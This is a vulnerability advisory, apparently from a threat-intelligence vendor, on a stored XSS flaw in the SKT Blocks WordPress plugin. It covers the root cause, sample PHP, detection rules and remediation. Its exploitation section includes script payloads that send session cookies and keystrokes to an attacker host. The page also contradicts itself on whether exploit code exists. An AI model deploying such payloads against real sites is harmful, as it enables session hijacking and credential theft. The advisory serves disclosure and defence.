CVE-2025-26771
Executive Summary
CVE-2025-26771 is a Stored Cross-Site Scripting (XSS) vulnerability in the SKT Blocks WordPress plugin, developed by Sktthemes. The vulnerability exists in versions from n/a through 1.7, where user-supplied input is not properly neutralized during web page generation. An authenticated attacker with contributor-level privileges or higher can inject malicious scripts into block content, which are then stored and executed in the browsers of other users (including administrators) when the affected page is viewed. This can lead to session hijacking, credential theft, or defacement. The vulnerability is currently unpatched, and no public exploit code is available.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users who have installed SKT Blocks from the WordPress dashboard or via direct download are at risk. The plugin is not available on NPM, PyPI, Go, or Ruby ecosystems.
CVSS Breakdown & Threat Level
- CVSS Score: 6.5 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
- Attack Vector (AV): Network – the vulnerability can be exploited remotely.
- Attack Complexity (AC): Low – no special conditions are required.
- Privileges Required (PR): Low – an attacker needs contributor-level access or higher.
- User Interaction (UI): Required – the victim must visit the compromised page.
- Scope (S): Changed – the impact extends beyond the vulnerable component.
- Confidentiality (C): Low – limited data exposure.
- Integrity (I): Low – limited content manipulation.
- Availability (A): Low – limited service disruption.
Threat Level: Medium. The requirement for authenticated access reduces the attack surface, but the potential for stored XSS in a widely-used WordPress plugin makes it a significant risk for multi-user WordPress sites.
Deep Dive & Mechanics
The vulnerability resides in the SKT Blocks plugin, which provides custom Gutenberg blocks for the WordPress block editor. The plugin fails to sanitize or escape user-supplied input when rendering block attributes or content on the front end. Specifically, when a user with contributor-level or higher privileges creates or edits a post using an SKT Block, the plugin stores the block’s HTML or attribute values directly into the database without proper neutralization. When another user (including an administrator) views the post, the stored malicious script executes in their browser context.
The root cause is the lack of output escaping in the plugin’s rendering functions. WordPress provides functions like esc_html(), esc_attr(), and wp_kses_post() to prevent XSS, but the SKT Blocks plugin does not apply these to user-controlled data within its blocks.
Attack Flow:
- An attacker with contributor-level access logs into WordPress.
- The attacker creates a new post or edits an existing one.
- The attacker inserts an SKT Block and injects a malicious payload (e.g.,
<script>alert('XSS')</script>) into a block attribute or content field. - The plugin stores the payload in the WordPress database without sanitization.
- An administrator or other user visits the post, triggering the stored script.
- The script executes, potentially stealing cookies, redirecting the user, or performing actions on their behalf.
Vulnerable vs. Patched Code
Since no patch is available, the vulnerable code is presumed to be in the plugin’s rendering functions. A typical vulnerable pattern would be:
Vulnerable Code (PHP):
function skt_blocks_render_block($attributes) {
$output = '<div class="skt-block">' . $attributes['content'] . '</div>';
return $output;
}
Patched Code (Hypothetical):
function skt_blocks_render_block($attributes) {
$safe_content = esc_html($attributes['content']);
$output = '<div class="skt-block">' . $safe_content . '</div>';
return $output;
}
The patched version uses esc_html() to neutralize HTML and script tags before output.
Exploitation & Lab Setup
Red Team (Offensive)
Prerequisites:
- A WordPress instance with SKT Blocks plugin version <= 1.7 installed.
- A user account with contributor-level privileges or higher.
Steps:
- Log in to WordPress as a contributor.
- Navigate to Posts > Add New.
- Insert an SKT Block (e.g., a custom heading or text block).
- In the block’s content field, enter the following payload:
<script>document.location='https://attacker.com/steal.php?cookie='+document.cookie</script> - Publish or save the post.
- Wait for an administrator to view the post, or share the link with them.
- The administrator’s browser will execute the script, sending their cookies to the attacker’s server.
Alternative Payload (Keylogger):
<script>
document.onkeypress = function(e) {
fetch('https://attacker.com/log?key=' + e.key);
}
</script>
Blue Team (Defensive)
Detection:
- Monitor WordPress admin logs for unusual post content containing
<script>tags. - Use a Web Application Firewall (WAF) to block common XSS patterns in POST requests.
- Regularly scan the WordPress database for malicious payloads using tools like Wordfence or Sucuri.
Prevention:
- Restrict contributor-level access to trusted users only.
- Implement Content Security Policy (CSP) headers to block inline scripts.
- Apply the principle of least privilege to user roles.
Indicators of Compromise (IOCs)
- File System: Look for modified plugin files in
/wp-content/plugins/skt-blocks/(though the vulnerability is in the plugin’s logic, not file changes). - Database: Search for posts containing
<script>tags in thewp_poststable, specifically inpost_contentorpost_excerptfields. - Network: Outbound HTTP requests to unknown domains from the WordPress server, especially those containing cookie data.
- Logs: WordPress debug logs showing unexpected output or errors related to SKT Blocks.
Detection Engineering
YARA Rule
rule CVE_2025_26771_SKT_Blocks_XSS {
meta:
description = "Detects stored XSS payloads in SKT Blocks plugin content"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-26771"
strings:
$xss_payload = /<script[^>]*>.*?<\/script>/is
$skt_block = /skt-blocks/i
condition:
$skt_block and $xss_payload
}
Sigma Rule
title: Stored XSS via SKT Blocks Plugin
id: 8f4a3b2c-1d5e-4f6a-9b7c-8d9e0f1a2b3c
status: experimental
description: Detects stored XSS attempts in WordPress posts using SKT Blocks
author: Valters IT
date: 2025-04-10
logsource:
category: application
product: wordpress
detection:
selection:
post_content|contains: '<script'
post_content|contains: 'skt-blocks'
condition: selection
falsepositives:
- Legitimate use of JavaScript in posts (rare)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-26771 SKT Blocks Stored XSS Payload"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/post.php"; http_uri; content:"skt-blocks"; http_client_body; pcre:"/<script[^>]*>.*?<\/script>/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the SKT Blocks plugin until a patch is released.
- Review and clean any existing posts that may contain malicious scripts. Use a database search tool to find
<script>tags in post content. - Change all user passwords if there is evidence of compromise.
Long-term Mitigation:
- Monitor the plugin’s official page for updates and apply the patch as soon as it becomes available.
- Implement a Web Application Firewall (WAF) with XSS protection rules.
- Enforce Content Security Policy (CSP) headers to block inline scripts.
- Conduct regular security audits of all installed plugins.
Workaround:
- If the plugin cannot be disabled, consider using a WordPress security plugin (e.g., Wordfence) that can block XSS payloads at the application level.
Valters IT – DevSecOps & Cyber Threat Intelligence
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.